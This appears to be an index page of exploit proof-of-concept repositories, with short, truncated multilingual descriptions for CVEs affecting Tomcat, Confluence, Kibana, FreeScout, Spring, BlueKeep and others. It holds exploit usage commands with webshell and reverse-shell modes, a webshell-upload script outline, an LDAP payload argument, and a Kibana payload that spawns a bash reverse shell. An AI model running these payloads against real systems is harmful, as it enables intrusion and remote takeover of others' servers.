CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 信息 此仓库包含针对运行固件 CH7465LG-NCIP-6.12.18.24-5p8-NOSH 或更旧版本的 Connect Box CH7465LG 的两个 PoC。 更多信息请查看我的博客。 用法 未经认证的远程代码执行 $ python3 poc-rce.py 未经认证的信息泄露 $ python3 poc-information-dump.py 致谢 xitan 2019...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE 説明 Krayin CRM v2.2.x における重大な脆弱性の PoC スクリプト。ファイルアップロードの制限がないことを利用した認証済み RCE を許可します。 使用方法 root@kitploit: Web シェル python3 exploit.py -u http://target.com -e [email protected] -p password123 リバースシェル python3 exploit.py -u http://target.com -e [email protected]...

CVE-2025-24813

说明 本仓库是针对 CVE-2025-24813 Tomcat 最新 RCE 复现的环境。 仅供学习研究使用！ 利用条件 应用程序启用了DefaultServlet写入功能，该功能默认关闭 应用支持了 partial PUT 请求，能够将恶意的序列化数据写入到会话文件中，该功能默认开启 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置，需要额外配置 应用中包含一个存在反序列化漏洞的库，比如存在于类路径下的 commons-collections，此条件取决于业务实现是否依赖存在反序列化利用链的库 本环境已开启上述复现所需条件 启动 tomcat Linux:...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — FreeScout 匿名 ATO → RCE 通过串联两个漏洞实现在 FreeScout ≤ 1.8.223 （一个 Laravel 帮助台）上的未认证远程代码执行，这两个漏洞均在 1.8.224 中修复： CVE-2026-53595 — 匿名账户接管 。POST /user-setup/hash/invitesentat 仅通过 invitehash 列选取账户。一个已激活 的用户其 invitehash = ''，而在 MySQL/MariaDB 上 VARCHAR 相等比较忽略尾部空格 ，因此 hash = %2...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import = 1.1.3 — Carga Arbitraria de Archivos y Ejecución Remota de Código -E5A500?style=for-the-badge&logo=security&logoColor=white 📖 Descripción General del Aviso CVE-2026-13157 es una vulnerabilidad autenticada de carga arbitraria de archivos que afecta al plugin de...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector 路径遍历漏洞 CVE-2019-3396 RCE 验证代码 root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2022-30781

🍵 CVE-2022-30781 Exploit de ejecución remota de comandos en la migración de repositorios de Gitea. Cómo usar 1. Ejecuta un servidor HTTP del sistema de archivos con los archivos de este repositorio. 2. Edita el comando a ejecutar en api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migra el...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Requisitos del entorno 1. tomcat8 8 Método de uso 1. Descargue springframeworkrce-0.0.1-SNAPSHOT.zip, descomprímalo y cámbiele el nombre a ROOT.war. 2. Reemplace la carpeta ROOT o el archivo ROOT.war en la carpeta webapps dentro de tomcat. 3. Cambie a la ruta b...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 的初始利用程序，BlueKeep CVE-2019-0708 BlueKeep RDP 远程 Windows 内核释放后使用 RDP 的 termdd.sys 驱动程序不当处理对内部专用通道 MST120 的绑定，导致格式错误的 Disconnect Provider Indication 消息可能引发释放后使用。通过可控数据/大小的远程非分页池喷射，利用释放通道的间接调用 gadget 实现任意代码执行。 受影响的应用 该利用程序应能针对以下 Windows 系统中存在漏洞的 RDP 服务工作： Windows 2000 x86（...

EUVD-2026-69821

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 全网都搜不到，留下备份，Python 利用脚本 ，用于自动完成以下步骤： ✅ 脚本功能目标 1. 登录后台（获取 csrf 和 token） 2. 构造恶意请求包上传压缩包（包含 webshell） 3. 访问上传的 webshell 获取控制权限（GET shell） 🧾 前提条件 目标环境：ClassCMS 2.4 Web服务器：PHP 5.5 + MySQL 攻击者拥有一个可访问的 HTTP 服务器（用于托管 shell.zip） 已知后台路径（如 /admin666） 后台账号密码为 admin/admin 🔒 漏洞利用原理回顾...

CVE-2019-7609

CVE-2019-7609 Kibana-7609 的 Docker 实验室设置 参考：https://github.com/mpgn/CVE-2019-7609 root@kitploit: 打开 Kibana 将以下其中一个 payload 粘贴到 Timelion 可视化工具中 点击运行 在左侧面板中点击 Canvas 你的反弹 Shell 应该会出现！: payload 由 @securityMB 提供 .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework 远程命令执行漏洞（CVE-2022-22965） Spring-Core-RCE堪比关于 Apache Log4j2核弹级别漏洞exp的rce一键利用 概述 近日，Spring 官方 GitHub issue中提到了关于 Spring Core 的远程命令执行漏洞，该漏洞广泛存在于Spring 框架以及衍生的框架中。 漏洞描述 Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包，是一个包含Spring框架基本的核心工具包，Spring其他组件都要使用到这个包。...

cve-2019-9193

CVE-2019-9193 • CVE-2019-9193 vulnerabilidad PostgreSQL tiene una vulnerabilidad que permite ejecutar código arbitrario dentro del sistema operativo de la base de datos a través de la funcionalidad "COPY TO / FROM PROGRAM" El vector de ataque es el Usuario que pertenece al grupo "SuperUser" y...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure 中间人研究 发布日期 与厂商联合发布日期：2020年10月26日 作者 David Kierznowski, @withdk 致谢 Sahil Mahajan，来自 Pulse Secure PSIRT 团队，在整个披露过程中给予支持。 Alyssa Herrera、Justin Wagner、Mimir 和 Rich Warren，感谢他们的文章《红队人员 Pulse Secure SSL VPN 指南》——Alyssa Herrera（2019年9月4日）。 SA 红队（SA Red...

confluence-rce-poc

confluence-rce-poc Configurando POC para CVE-2021-26084 Docker Proporciona el docker-entrypoint.sh oficial a postgres, cambia el nombre de usuario y la contraseña de la base de datos según sea necesario...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2023-46404

CVE-2023-46404 PCRS 是由多伦多大学开发的用于在线编程练习的 Web 应用。 参见 Bitbucket 仓库： https://bitbucket.org/utmandrew/pcrs/src/3.11/ 摘要 PCRS 的“问题”（Questions）页面（包含代码提交功能）和“代码编辑器”（Code editor）页面存在通过逃逸 Python 沙箱实现远程代码执行（RCE）的漏洞。 详情 在 PCRS 实例中，可通过使用生成器对象实现远程代码执行。通过使用生成器帧（giframe）和 fback，脚本可以穿越沙箱栈帧，在非沙箱环境中执行恶意代码。此外，Unicod...